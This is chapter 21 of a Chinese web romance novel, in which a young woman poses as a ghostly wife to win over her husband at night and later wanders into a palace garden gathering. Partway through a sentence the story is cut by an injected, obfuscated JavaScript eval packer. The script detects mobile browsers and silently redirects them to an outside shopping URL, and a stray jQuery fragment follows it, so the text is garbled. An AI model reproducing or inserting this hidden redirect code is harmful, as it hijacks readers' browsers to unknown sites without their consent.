文趣网 > 其他小说 > 恰逢玉露来金风 > 21. 第 21 章
    寝室烛光一暗,连同熄灭窗贝溢出的光晕。

    房惜念脑袋一抬,周围已被夜色彻底吞噬,借着夜空洒下的月光站起来,侧背墙壁,仔细去听里屋静悄悄的,应是彻底睡下了,她摸着黑,小心翼翼掀开窗贝门窗,还算熟练地翻进去。

    她脚尖在空中试探,触碰地板踮了下,轻手轻脚站稳脚跟,从外把窗贝悄悄关上。

    为防止出现昨夜情形,房惜念前来时拿上桂红薄丝带,摸着月光勉强看清室内环境,轻手轻脚朝着内室床榻而去,先是掀开垂落在地的纱幔,探进身子,放轻呼吸,去看床榻上的姑衍烬。

    她放下纱幔,眼前要比纱幔外暗去许多,好在还能勉强看清路,她摸着黑慢慢走到床榻前,蹲坐在床头去看姑衍烬,发现他睡姿好生难评,可一点不规矩。

    她从怀里拿出桂红薄丝带,轻轻绕过他的脑袋,贴在他的眉眼上,不轻不重只要轻轻一扯便能抽走。

    姑衍烬察觉到她的靠近,掌心握住她纤细的手腕:“夫人这是做什么?”

    在问她为何给他蒙上眼,房惜念自是不会告诉他怕露馅,望着他疑惑的模样,转下眉眼,软声解释:“我模样吓人,怕是会吓着烬郎。”

    姑衍烬想要摘下丝带:“你是我的妻子,我怎会怕,夫人未免也太小瞧夫君。”

    房惜念吓得一慌,按住他炙热的手,往下一挪:“可我怕。”

    “怕什么?”姑衍烬反手握住她,房惜念面色一乱,看他紧闭眼睛,缓缓絮乱心神,见他没有怀疑反倒接受她的出现,她的胆子渐渐放大,沉浸被辜负的伤怀里。

    “不想让你看到丑陋的我,我面色苍白,眼睛空洞,鼻子流血,嘴角也流血。”说到最后,她特别悲伤的嘤嘤一声,心想还吓不晕他。

    姑衍烬沉默半晌,轻哂一声:“那真是挺有趣的,我还没见过这样的。”

    房惜念瞪大眼睛,不曾想他胃口如此之重,光是这种描述平常人可要被吓昏头,哪有像他这样感兴趣的,她气呼呼,稳住瞪他的眼神,可不想他继续往下探究。

    她娇嗔一句:“我今儿来,不是让你看我狼狈的样子,烬郎,你今日做出的改变,我看在眼里。”

    “承蒙夫人忧心,特入我梦,我自是不会辜负夫人的关怀。”

    姑衍烬抬起另只手,摸向她的脸,房惜念侧过脸,他的手自然落在清凉纱衣肩膀肉上,他掌心滚烫,源源不断刺激她的感官,让她紧绷了身体。

    他修长指尖,抚摸她的肩膀,意味不明:“只是,夫人可有什么奖励?”

    房惜念傻眼了,他平日看起来还挺清心寡欲,旁人说他周身美女如云,仍然片叶不沾身,虽说她认定姑衍烬和何玉兰有关系,但没想到他私底下如此黏糊,还能对鬼存有心思。

    她正要避开他的掌心,姑衍烬顺着她的肩膀沿下,攥住她冰凉的手,低声说:“夫人向来不会拒绝我,如今甚是?”

    房惜念不想暴露,硬着头皮应是,低头看他挪过双手,将她两只手一同握进掌心,男人掌心要比女子宽大,底下布满粗糙的茧子,渐渐裹紧,磨得她生疼。

    鬼好像不怕疼?

    房惜念睁着清澈的眼睛,愣是没有吭声,转移注意力的问:“那你想要什么奖励?”

    姑衍烬思索片刻,将裹挟她的手放在胸口中,透着怀念的声调蛊惑她:“自是夫妻之间的事。”

    夫妻之间的事,房惜念意识到自己傻眼傻早了,不曾想还有这一出,她看着姑衍烬期待的等待,越发感到难熬,耳根要比脸颊热腾,蜷缩脚足要比思维想跑。

    她绞尽脑汁,稳住想逃离的脚,神色颇有为难:“烬郎,我们不能。”

    姑衍烬面露失落:“也是,你我分别之久,是有些生分。”

    房惜念点点头:“自是生分,你换别的愿望罢。”

    “不行呢。”姑衍烬一口回绝。

    房惜念瞪大眼睛,没想到他如此厚脸皮,半点没有羞耻之心,她是‘鬼’不怕也罢,既然还想跟她亲昵,实在孟浪得紧,也不怕被她吸走了精气。

    她怒了一下,就怒了一下,差点被姑衍烬接下来的话打回原型。

    “原是生分,自是要多亲近,你说是吧,夫人。”

    她愁苦了脸,差点绷不住声音:“烬郎——”

    姑衍烬没有个她拒绝的机会,替她应下:“就这么说定了,夫人不必怕吸我精气,我年轻气盛,有的是精气。”

    房惜念心急如焚,还有点儿懵,本该是她牵着姑衍烬的鼻子走,让他心生愧疚,畏惧,但事情发展出乎意料的截然相反,姑衍烬不但没有愧疚畏惧,反倒想和她谈情说爱。

    还对她吸走精气这件事蠢蠢欲动!

    她抬起眉眼,无助看着悬挂垂下的纱幔,苦下脸。

    说好循循善诱之,先解他的疑,再得他的心,后深入他的情感,再一击毙命。

    怎么现在,感觉不太对劲,说不出来的不对劲。

    但很快,姑衍烬没有给她过多思考的时间。

    “许久未得与夫人闺房之乐,先其言添乐趣,可还记得。”

    房惜念深呼吸,硬着头皮应下:“记得,只是时间过去太久,望烬郎提醒?”

    姑衍烬掠起唇角:“情意绵绵·闺中话。”

    房惜念人傻了,直愣愣呆在原地,很想给他一拳头,看着人模狗样,背地里如此浪荡。

    光听名字就知道不是好书,房惜念哪里看过,何况她还不认字。

    “玲珑骰子安红豆,入骨相思君知否?”

    说起来挺唬人,房惜念也就会这一句,以前在杏花村时,常常路过一村庄,村庄里有位貌美女娘,可惜疯了的,听闻她那情郎榜首高中,转头迎娶高官小姐,将她抛弃。

    多年情意付之东流,女娘伤心欲绝,和五岁儿郎相依为命,结果在上山采药时被狼狗叼走,

    就此受不住三番两次打击,疯了。

    女娘成日哀怨叹息,嬉笑唱戏,手指一捻:“玲珑骰子安红豆,入骨相思君知否......”

    貌似还把姑衍烬给唬住了,没有丝毫怀疑,让她继续念。

    房惜念本就对他心存不满,还要对他说情话,自是不会依着他来,来来回回就这一句。

    姑衍烬摇头。

    房惜念眼前一亮,还以为他听腻了的。

    姑衍烬不满:“不够感觉,夫人莫要害羞,不妨大胆些。”

    大胆他个头,还要怎么大胆,她恼得胸口发抖。

    但再怎么恼,她是不会前功尽弃的,离成功还差一小段距离。

    房惜念脸红耳赤给姑衍烬说大半宿温声细语的情话,说到最后她眼神放空,脑子快冒出热烟,躺在床榻上的男人甚是可恶,津津有味不说,愣是一点睡意都无。

    再说下去,是要熬到天亮,姑衍烬见她不继续开口,面露失落:“夫人对我的情,只有这一点?”

    房惜念快气到翻白眼,抖着手拳头都硬了。

    貌似感觉到她的恼怒,姑衍烬先是怔愣一下,沉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801823|209330||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    默下来,房惜念害怕他发现破绽,娇嗔捶他一拳:“情话不易说多,说多腻味。”

    姑衍烬一副觉得有道理的点头:“那今日到这里吧,劳烦夫人明日给我带来更多的惊喜。”

    本来房惜念还累得发慌,但听他这般说,瞬间斗志满满,感觉目标一眼能望到头,倒时时机一到,她便不用如此辛苦,半夜爬他的窗。

    房惜念把姑衍烬哄睡,等他一睡着,她马不停蹄地跑回去睡觉,一睡,睡到第二日午时,这次不是姑承允喊她起来,是宋跃来敲门,让她去做饭。

    她还做什么饭,姑衍烬昨日那般折腾她,她能爬起来吃饭算不错了。

    房惜念心有怨念,但还是老老实实爬起来穿好衣裳,去庖厨随便炒几盘菜,蒸一鲜虫草排骨汤蛊,再猛猛放料,酸飞他,咸哭他。

    再心满意足把三菜一汤放进宋跃的手里,让他送过去。

    宋跃面色怪异,看一眼盘里毫无长进的菜品,唇角狠狠扯了下。

    房惜念却误会他的意思,眨了下萌萌的眼睛:“宋兄是还没用膳,不嫌弃的话...”

    不等他说完,宋跃如临大敌:“嫌弃,非常。”

    “为何!”房惜念这下伤心了,还备受打击,不过转念一想,她眼神一砖,亮晶晶的弯起:“宋兄是跟我客气吗,我们是朋友,不必客气。”

    宋跃瞪她:“谁跟你客气,别乱来啊。”

    “宋兄何出此言,不过做盘菜而已,怎能说是乱来。”房惜念眨了下眼,颇为失落。

    殊不知她的失落,在宋跃眼里就如邪恶年兽,专门来祸害人,他脸一臭。

    “也是,宋兄山珍海味吃多了,自是看不上我这粗茶淡饭,我能理解。”房惜念继续说。

    宋跃瞥她:“菜要凉了,我要走了。”

    房惜念捣鼓蒜似的点头,嗯嗯两声,他一走,她也跟过去,眼瞅着宋跃脸色越来越严肃,她忍住笑意,蹦蹦跶跶跟在他身后,笑眯眯的同他讲话。

    “宋兄为何不说话,为何看起来不愿与我多交谈。”

    宋跃认为不回答她,是最好的选择。

    房惜念见他冷酷一张脸,继续喋喋不休:“是因为怕旁人说闲话?不过也能理解,你未婚未娶,我一介离妇确实会惹起旁人非议,还是宋兄心细,这点都被你想到了。”

    宋跃很确定,她压根没有恢复记忆。

    “你为我着想,我很感激,所以晚间我备你一份。”

    宋跃加快脚下速度:“晚间陛下设宴,你可以休息一同前去。”似是想到什么,回头朝她说:“女眷们在园亭赏花玩射箭,你若是无聊,可去参与一二。”

    房惜念绽开笑容,点下头:“宋兄,还是你最好啦。”

    宋跃头也不回的跑了。

    家臣女眷集聚园亭,园亭靠湖,湖边有柳,柳下坐齐乘凉的官家小姐们,以及一群莺莺燕燕围在凉亭下,站在靠前两位身姿不凡的小姐比赛射湖,湖上飘荡不同颜色小木鸭,

    一箭射中其中小木鸭,惹起莺莺燕燕一众追捧,再就是分别两色的打分牌一翻。

    房惜念跟着她们一起鼓掌,寻得荫凉地方坐下来,但被一眼尖的丫鬟拽起来,见她面生,没好气的问她是谁的丫鬟,如此没有规矩。

    房惜念说是姑承允的人,丫鬟上下打量她,见她身着打扮怎么不像是定南侯府的丫鬟,怕不是偷溜进玉华宫,勾搭主子来的。

    丫鬟要她出示腰牌,房惜念没有,然后一群丫鬟围了上来,将她推出园亭。